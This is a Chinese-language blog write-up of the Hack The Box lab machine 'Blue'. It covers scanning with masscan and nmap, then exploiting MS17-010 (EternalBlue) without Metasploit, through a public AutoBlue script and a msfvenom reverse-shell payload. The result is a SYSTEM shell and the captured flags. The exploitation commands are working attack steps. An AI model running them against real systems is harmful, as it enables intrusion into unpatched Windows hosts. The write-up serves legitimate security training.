

HTB靶机01-Blue-WriteUp

原创

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订阅专栏

Blue 简介

A dark-themed banner for the 'Blue' machine. It features a central circular icon of a man in a suit and sunglasses. Below the icon, the word 'Blue' is written in large white letters. At the bottom, there is a table with four columns: OS, RELEASE DATE, DIFFICULTY, and MACHINE STATE. The OS is Windows, the release date is 29 Jul 2017, the difficulty is Easy, and the machine state is Retired. The banner also includes a CSDN @XavierDarkness watermark.

OS	RELEASE DATE	DIFFICULTY	MACHINE STATE
Windows	29 Jul 2017	Easy	Retired

CSDN @XavierDarkness

OS: Windows; 难度: Easy

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Blue 简介

WriteUp

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WriteUp

连接HTB靶场: `sudo openvpn xxxx.ovpn`

测试靶机连通性:

```
(xavier@xavier)~$ ping -c 4 10.10.10.40
PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data:
64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=238 ms
64 bytes from 10.10.10.40: icmp_seq=3 ttl=127 time=237 ms
64 bytes from 10.10.10.40: icmp_seq=4 ttl=127 time=240 ms

--- 10.10.10.40 ping statistics ---
4 packets transmitted, 3 received, 25% packet loss, time 3035ms
rtt min/avg/max/mdev = 237.404/238.524/240.313/1.277 ms
```

有点延迟和丢包，扫描探测结果可能不准确，需要复核。

0.SCAN

masscan 扫描全端口+ nmap 扫描详细端口信息

```
(xavier@xavier)~$ sudo masscan -e tun0 -p- --max-rate 500 10.10.10.40
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-03-21 05:48:42 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 49156/tcp on 10.10.10.40
Discovered open port 49152/tcp on 10.10.10.40
Discovered open port 49154/tcp on 10.10.10.40
Discovered open port 49155/tcp on 10.10.10.40
Discovered open port 445/tcp on 10.10.10.40
Discovered open port 49153/tcp on 10.10.10.40
Discovered open port 49157/tcp on 10.10.10.40
Discovered open port 135/tcp on 10.10.10.40
Discovered open port 139/tcp on 10.10.10.40

(xavier@xavier)~$ sudo nmap -p135,139,445,49152-49157 -sSV 10.10.10.40 --script=default,vuln
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-21 14:04 HKT
Nmap scan report for 10.10.10.40
Host is up (0.24s latency).
```

PORT	STATE	SERVICE	VERSION
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp	open	msrpc	Microsoft Windows RPC

```
49153/tcp open  msrpc      Microsoft Windows RPC
49154/tcp open  msrpc      Microsoft Windows RPC
49155/tcp open  msrpc      Microsoft Windows RPC
49156/tcp open  unknown
49157/tcp open  msrpc      Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2.1:
|_   Message signing enabled but not required
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|     A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|     https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_    https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_clock-skew: mean: 4m02s, deviation: 6s, median: 3m58s
|_smb-vuln-ms10-054: false
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-03-21T06:09:59+00:00
| smb2-time:
|   date: 2022-03-21T06:09:58
|_  start_date: 2022-03-21T05:42:34
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.51 seconds
```

发现 存在 smb ms17-010 (CVE-2017-0143)，操作系统为: Windows 7 Professional 7601 Service Pack 1，计算机名: haris-PC

非MSF

1. MS17-010 利用

不用msf去攻击

nmap 只有检测脚本，没有利用脚本，通过网络expdb、Github搜索利用工具。

最后找了个：<https://github.com/3ndG4me/AutoBlue-MS17-010>

下载代码，并安装依赖，这里我使用了Pipenv创建了单独的环境。

```
└─$ git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
(HTB) └─(xavier@xavier)-[~/HTB/AutoBlue-MS17-010/
└─$ pip install -r requirements.txt
```

制作利用代码，可以利用shellcode文件夹下的 shell_prep.sh 辅助生成。

这里直接使用msfvenom进行生成，并加入shellcode混合

```
(HTB) └─(xavier@xavier)-[~/HTB/AutoBlue-MS17-010/
└─$ nasm -f bin eternalblue_kshellcode_x64.asm -o evilKernel.bin

(HTB) └─(xavier@xavier)-[~/HTB/AutoBlue-MS17-010/shellcode]
└─$ msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread LHOST=10.10.14.2 LPORT=4444 -f raw -o evilReverse.
bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: evilReverse.bin

(HTB) └─(xavier@xavier)-[~/HTB/AutoBlue-MS17-010/shellcode]
└─$ cat evilKernel.bin evilReverse.bin > evilPayload.bin
```

依据Github 的Readme 命令帮助，输入目标ip，payload 和Groom连接数，执行利用脚本：

```
python eternalblue_exploit7.py <TARGET-IP> <PATH/TO/SHELLCODE/sc_all.bin> <Number of Groom Connections
(optional)>
```

```
(HTB) └─(xavier@xavier)-[~/HTB/AutoBlue-MS17-010]
└─$ python3 eternalblue_exploit7.py 10.10.10.40 shellcode/evilPayload.bin 2
shellcode size: 1232
numGroomConn: 2
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done

(HTB) └─(xavier@xavier)-[~/HTB/AutoBlue-MS17-010]
└─$ python3 eternalblue_exploit7.py 10.10.10.40 shellcode/evilPayload.bin 24
shellcode size: 1232
numGroomConn: 24
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
```

这里 `<Number of Groom Connections (optional)>` 虽然是可选项，但经过多次不成功，我按照参考文献2进行设置，同样在多次尝试后，成功获得shell，且为System权限。

```
└─(xavier@xavier)-[~]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.40] 49159
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>cd C:\Users\haris\Desktop
cd C:\Users\haris\Desktop

C:\Users\haris\Desktop>type user.txt
type user.txt
6349f910cd5b7ddae73521237f8e90c3

C:\Users\haris\Desktop>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
3515d002af86dbfff3ce6f9bbffe7ede
```

利用他人的工具，最后做出来了，但让我意识到对漏洞的一知半解，在攻击过程中会消耗大量的时间，甚至走上弯路。平时需要加强对漏洞的研究，了解漏洞的相关影响因素。

MSF: 略

他山之石

- [Hack The Box - Blue \(Without Metasploit\)](#)
 - 用了superscan
 - 用了其他exp, python2脚本
- [Hack The Box - Blue Walkthrough without Metasploit](#)
 - 使用了同一种方法, numGroomConn 需要尝试多次
- [WriteUp: HackTheBox Blue](#)
 - 使用了kali自带的searchsploit 去找利用脚本, 并进行修改利用